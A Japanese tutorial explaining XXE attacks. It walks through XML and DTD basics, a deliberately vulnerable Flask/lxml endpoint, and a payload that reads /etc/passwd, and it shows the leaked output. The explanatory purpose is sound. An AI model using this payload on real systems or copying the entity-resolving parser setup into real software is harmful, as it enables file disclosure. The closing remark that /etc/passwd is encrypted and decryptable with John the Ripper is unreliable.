1. XML外部エンティティ(XXE)とは?
XML外部エンティティ(XML External Entity, XXE)は、XMLの処理中に外部リソース(ファイル、ネットワーク経由のデータなど)を読み込む機能を悪用する攻撃手法です。悪意ある攻撃者がこれを利用して、以下のような危害を与えることがあります:
XXEは、XMLを扱うアプリケーションが外部エンティティの処理を適切に制御していない場合に発生します。 その他の脆弱性同様、サニタイズが不足している場合に起こり得る。
2. XMLとは?
データを構造化して表現するためのマークアップ言語です。 APIのレスポンスの形態としてもあり得ますが、jsonと比較してxml形式のレスポンスは縮小傾向にあります。
XMLは可読性、柔軟性、互換性の点で広く利用されていますが、仕様上外部エンティティの参照が可能であるため、セキュリティリスクが生じます。
XMLの例
まずはXMLの通常の利用ケースを見てみます。 以下のメモは、Jani から Tove へのメモで、XML として保存されています。
<note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>
上記の例のように、書かれたデータをAPIに返したり、逆に受け取ったりすることでプログラミング言語の枠を超えてデータをやり取りすることができます。
XMLを引用 : https://www.w3schools.com/xml/xml_whatis.asp
上記のファイルを .xml
として保存し、Chrome や Firefox といったブラウザで開くことでXMLビューアーとして参照が可能です。
XML宣言
XML 文書の先頭には、使用するXMLのバージョンや文字コードについて記述した XML 宣言を記述します。
<?xml version="1.0" encoding="UTF-8" ?>
version
: XML のバージョンは 1.0 と 1.1 があります。(ほとんどのケースで1.0が使用されているようです)encoding
:UTF-8
またはShift_JIS
のどちらかですが、アプリケーションやOSで代わりそうですが、 宣言で記述している文字コードと実際に使っている文字コードが異なる場合はエラーとなりますので、注意してください
このXML宣言は任意ですので、宣言しなくてもとりあえず問題なさそうです。
属性
XMLでは<to>Tove</to>
のようなタグのことを「要素」とも呼びます。
HTMLで使用するタグとほぼ同じと考えて良いです。
そして、XMLではこの要素に対して属性と呼ばれる付加的なデータをつけることも可能となってます。
<note> <to color="red">Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>
ちなみに、color="red"
を属性ではなく、<color>red</color>
にようにタグとして使用しても良いかもしれません。
タグと属性には、「属性は同じ属性を複数使用できない」というルール以外には大きな違いはありませんので、 より適していると思われる方法を選択してくだされば良いと思います。
DTD(文書型定義)
上記で説明した通り、XMLはタグの宣言や要素の使用方法に制限がないため、開発者がルールを決めなければなりません。
ルールを決めなければ、同一の目的を持つデータでも、XMLを使用するユーザーやアプリケーションごとにバラバラになり集計ができなくなる可能性もあります。
そこで、XMLの記述にルールを定める機能がDTD(文書型定義)です。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>
上記のDOCTYPE
宣言の中で、note
タグを定義することに成功しています。
note
タグの中にはto,from,heading,body
タグが含まれていることが記述されています。to,from,heading,body
は全て#PCDATA
として定義され、#PCDATA
は文字列データを表しています。
このように、XMLの解析のためのヒントとルールを与えるのがDTD
の役割です。
XML外部エンティティ
これまでXMLのデータをファイル内部で簡潔する要素が多かったですが、外部のXMLデータを埋め込みたいケースも出てくると思います。 例えば、注意事項などの文言をXMLに固定で読み込ませたい時、都度XMLに書き込むのはデータがそれぞれのXMLに散らばるので合理的ではありません。
このようにデータを一箇所にまとめて起きつつ、必要なタイミングで参照したいとき、 XMLでは他のサイトのXMLを読み込む機能、XML外部エンティティが活用できます。
XML外部エンティティはDTDでENTITY 変数名
という構文で宣言をでき、&変数名;
で使用可能です。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body,alert)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> <!ELEMENT alert ANY> <!ENTITY alertData SYSTEM "file:///var/www/app/static/alert.xml"> ]> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> <alert>&alertData;</alert> </note>
3. XXE(XML外部エンティティ)が可能なflaskアプリ
以下はflaskのアプリケーションAPIです。 (XXE脆弱性が含まれているので、本番で使用しないでください)
to
, from
, head
, body
をXML形式で受け取り、メールの本文を作成する便利なアプリケーションです。
from flask import Flask, request from lxml import etree # lxmlを使用 app = Flask(__name__) @app.route('/parse', methods=['POST']) def parse_xml(): # クライアントから受信したXMLデータ xml_data = request.data.decode('utf-8') print(f"Received XML:\n{xml_data}") # lxmlのパーサー設定 parser = etree.XMLParser(load_dtd=True, resolve_entities=True) try: # XMLデータを解析 root = etree.fromstring(xml_data, parser=parser) # XML要素からデータを抽出 to = root.findtext('to') from_ = root.findtext('from') # Pythonの予約語 'from' を避けて 'from_' を使用 heading = root.findtext('heading') body = root.findtext('body') # メール本文を作成 email_body = f""" To: {to} From: {from_} Subject: {heading} {body} """ return f"Generated Email Body:\n{email_body.strip()}" except Exception as e: return f"Error parsing XML: {str(e)}", 400 if __name__ == '__main__': app.run(host="0.0.0.0", port=80, debug=True)
通常のアプリの使い方であれば、以下のようなXMLをAPIへPOSTメソッドを使用して送信することで、メールの本文が返ってきます。
<?xml version="1.0" ?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>
- 作成されるメール本文の例
Generated Email Body: To: Tove From: Jani Subject: Reminder Don't forget me this weekend!
ここまでは通常のメールを送信してくれるサーバーとして、便利な機能に見えるのですが、以下のようなXML外部エンティティを用いると機密情報が抜き出せます。
<?xml version="1.0" ?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>&xxe;</body> </note>
- 以下
/etc/password
が含まれるメール本文
Generated Email Body: To: Tove From: Jani Subject: Reminder root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin%
4. 解説
上記のpayloadで重要なのは <!ENTITY xxe SYSTEM "file:///etc/passwd" >
という部分です。
サーバーが外部エンティティを許可している場合、 etc/passwd
の情報が読み取られて、 xxe
変数に格納されます。
あとは読み取った情報を <body>&xxe;</body>
で表示されることで、サーバー内部のパスワードの情報が取得できてしまいます。
(通常はetc/passwd
は暗号化されているのですが、John The Ripper
というツールを使うことで復号も可能です)